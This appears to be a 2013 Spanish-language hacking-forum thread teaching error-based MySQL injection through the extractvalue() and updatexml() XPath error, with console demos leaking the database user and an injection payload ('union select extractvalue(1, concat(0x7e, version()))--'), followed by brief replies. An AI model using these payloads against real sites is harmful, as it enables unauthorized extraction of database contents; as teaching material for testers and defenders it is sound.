comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

MYSQLI EB con extractvalue() and updatexml()

  • 5 Respuestas
  • 2148 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado q3rv0

  • *
  • Underc0der
  • Mensajes: 207
  • Actividad:
    1.67%
  • Reputación 1
  • %ERRORLEVEL%
    • Ver Perfil
    • q3rv0
    • Email
« en: Julio 26, 2013, 02:17:37 pm »
MYSQLI EB con extractvalue()


Quien conozca de inyecciones sabe bien que para explotar una Mysqli error based  es necesario utitlizar las funciones floor() y rand() .




Pero hay otra manera que se basa en aprovechar otro tipo de error, incluso es mucho mas sencilla de interpretar ademas de ser un vector corto y eficaz.

Leyendo el blog de Dmitry Evteev en una entrada que habia publicado en el 2009 (bastante viejita ya), encontre una forma de explotar un error based de una manera que llamo poderosamente mi atencion.

La funcion extractvalue() sirve para extraer valores de un elemento XML, por ejemplo tenemos la siguiente cadena:

Código: XML
  1. <b>q3rv0</b>

Si quieramos extraer la palabra q3rv0 lo realizariamos de la siguiente manera.

Código: MySQL
  1. mysql> No tienes permisos para ver links. Registrate o Entra con tu cuenta No tienes permisos para ver links. Registrate o Entra con tu cuenta('<b>q3rv0</b>', '/b');
  2. +------------------------------------+
  3. | No tienes permisos para ver links. Registrate o Entra con tu cuenta('<b>q3rv0</b>', '/b') |
  4. +------------------------------------+
  5. | q3rv0                              |
  6. +------------------------------------+
  7. 1 row No tienes permisos para ver links. Registrate o Entra con tu cuenta No tienes permisos para ver links. Registrate o Entra con tu cuenta (0.00 sec)
  8.  
  9. mysql>

La manera de aprovechar esta funcion para que nos devuelva informacion es obligarla a realizar un error de sintaxis.

Que pasa si introducimos la funcion user() en el argumento que es utilizado para extraer ciertos valores.
Código: MySQL
  1. mysql> No tienes permisos para ver links. Registrate o Entra con tu cuenta No tienes permisos para ver links. Registrate o Entra con tu cuenta('<b>q3rv0</b>', No tienes permisos para ver links. Registrate o Entra con tu cuenta());
  2. ERROR 1105 (HY000): XPATH syntax error: '@localhost'

Como vemos nos arroja el error, ademas del usuarios en la db.

El problema es que lo muestra entrecortado, para eso vamos a concatenar la salida.
Código: MySQL
  1. mysql> No tienes permisos para ver links. Registrate o Entra con tu cuenta No tienes permisos para ver links. Registrate o Entra con tu cuenta('<b>q3rv0</b>', No tienes permisos para ver links. Registrate o Entra con tu cuenta(0x7e, No tienes permisos para ver links. Registrate o Entra con tu cuenta()));
  2. ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'

Como podemos llevarla acabo mediante una inyeccion?

De la siguiente manera.

No tienes permisos para ver links. Registrate o Entra con tu cuenta union select extractvalue(1, concat(0x7e, version()))--






Mysqli EB con updatexml()

Para este tipo de metodo utilizaremos la funcion llamada updatexml(), los creditos se los lleva Arthusu por la info.

Dicha funcion sirve para actualizar un elemento xml por otro.

Tenemos el siguiente codigo.

Código: XML
  1. <b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>

La sintaxis de updatexml() es la siguiente:

Código: MySQL
  1. No tienes permisos para ver links. Registrate o Entra con tu cuenta('cadena', 'xpath_expr', 'cadena actualizada')

Entonces si quisieramos actualizar la porcion de codigo <h1>underc0de</h1> y cambiarlo por <h1>underc0de Rulz</h1> lo hariamos de la siguiente manera.

Código: MySQL
  1. mysql> No tienes permisos para ver links. Registrate o Entra con tu cuenta No tienes permisos para ver links. Registrate o Entra con tu cuenta('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>');
  2. +--------------------------------------------------------------------------------------------------------------+
  3. | No tienes permisos para ver links. Registrate o Entra con tu cuenta('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>') |
  4. +--------------------------------------------------------------------------------------------------------------+
  5. | <b>jlkjslakjslka</b><h1>Underc0de Rulz</h1><i>kjaslkjalskjlaksj</i>                                          |
  6. +--------------------------------------------------------------------------------------------------------------+
  7. 1 row No tienes permisos para ver links. Registrate o Entra con tu cuenta No tienes permisos para ver links. Registrate o Entra con tu cuenta (0.00 sec)
  8.  
  9. mysql>

Entonces para generar un error en la funcion podemos reemplazar el xpath_expr por nuestra consulta deseada.
Código: MySQL
  1. mysql> No tienes permisos para ver links. Registrate o Entra con tu cuenta No tienes permisos para ver links. Registrate o Entra con tu cuenta('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',No tienes permisos para ver links. Registrate o Entra con tu cuenta(), '<h1>Underc0de Rulz</h1>');
  2. ERROR 1105 (HY000): XPATH syntax error: '@localhost'
  3. mysql>

Concatenamos y obtenemos el resultado completo.

Código: MySQL
  1. mysql> No tienes permisos para ver links. Registrate o Entra con tu cuenta No tienes permisos para ver links. Registrate o Entra con tu cuenta('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',No tienes permisos para ver links. Registrate o Entra con tu cuenta(0x7e, No tienes permisos para ver links. Registrate o Entra con tu cuenta()), '<h1>Underc0de Rulz</h1>');
  2. ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'
  3. mysql>





Referencia: No tienes permisos para ver links. Registrate o Entra con tu cuenta
« Última modificación: Noviembre 23, 2014, 02:19:06 pm por Expermicid »
Web: No tienes permisos para ver links. Registrate o Entra con tu cuenta

Twitter: No tienes permisos para ver links. Registrate o Entra con tu cuenta

Desconectado naile

  • *
  • Underc0der
  • Mensajes: 2
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #1 en: Julio 26, 2013, 03:03:35 pm »
Muy bueno, no conocía ese método.

Desconectado M5f3r0

  • *
  • Underc0der
  • Mensajes: 44
  • Actividad:
    0%
  • Reputación 0
  • Leer la firma.
    • Ver Perfil
  • Skype: m5f3r0
« Respuesta #2 en: Julio 26, 2013, 04:28:24 pm »
Excelente, yo también desconocía de esto. Sigue así!



;D Saludos.
« Última modificación: Julio 26, 2013, 04:35:33 pm por m5f3r0 »
A veces, observo mi pasado y me arrepiento en la actualidad de todo lo que llegue a perder y olvidar por como me veía la sociedad, nunca dejes que las opiniones de los demás te lleguen a afectar moralmente hasta el punto en que dejes de hacer lo que más te apasiona, saludos! (msj escrito en el 2016)

Desconectado hdbreaker

  • *
  • Underc0der
  • Mensajes: 411
  • Actividad:
    0%
  • Reputación 0
  • HD_Breaker
    • Ver Perfil
    • Security Signal
    • Email
  • Skype: hdbreaker96
  • Twitter: @SecSignal
« Respuesta #3 en: Julio 26, 2013, 11:52:08 pm »
Muy bueno, te felicito!

Ser Libres es un Privilegio por el cual pocos estamos dispuestos a correr el riesgo

Desconectado arthusu

  • *
  • Underc0der
  • Mensajes: 546
  • Actividad:
    10%
  • Reputación 2
  • Yo solo se que no se nada - Socrátes
    • Ver Perfil
    • Arthusu BLOG
  • Skype: arthusuxD
« Respuesta #4 en: Julio 27, 2013, 12:25:56 am »
Muy bueno q3rv0 +Karma por cierto no es necesario usar union select puedes usar un and  :P ademas no solo puede usar extractvalue sino tambien updatexml, salu2 bro :-) buen post :P
« Última modificación: Julio 27, 2013, 12:30:06 am por arthusu »

Desconectado q3rv0

  • *
  • Underc0der
  • Mensajes: 207
  • Actividad:
    1.67%
  • Reputación 1
  • %ERRORLEVEL%
    • Ver Perfil
    • q3rv0
    • Email
« Respuesta #5 en: Julio 27, 2013, 04:59:16 pm »
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Muy bueno q3rv0 +Karma por cierto no es necesario usar union select puedes usar un and  :P ademas no solo puede usar extractvalue sino tambien updatexml, salu2 bro :-) buen post :P

Actualizado!

Gracias bro por la info
Web: No tienes permisos para ver links. Registrate o Entra con tu cuenta

Twitter: No tienes permisos para ver links. Registrate o Entra con tu cuenta

 

¿Te gustó el post? COMPARTILO!



Blind Mysqli Time Based [Teoria]

Iniciado por q3rv0

Respuestas: 3
Vistas: 2094
Último mensaje Diciembre 22, 2012, 02:05:23 am
por Abnormality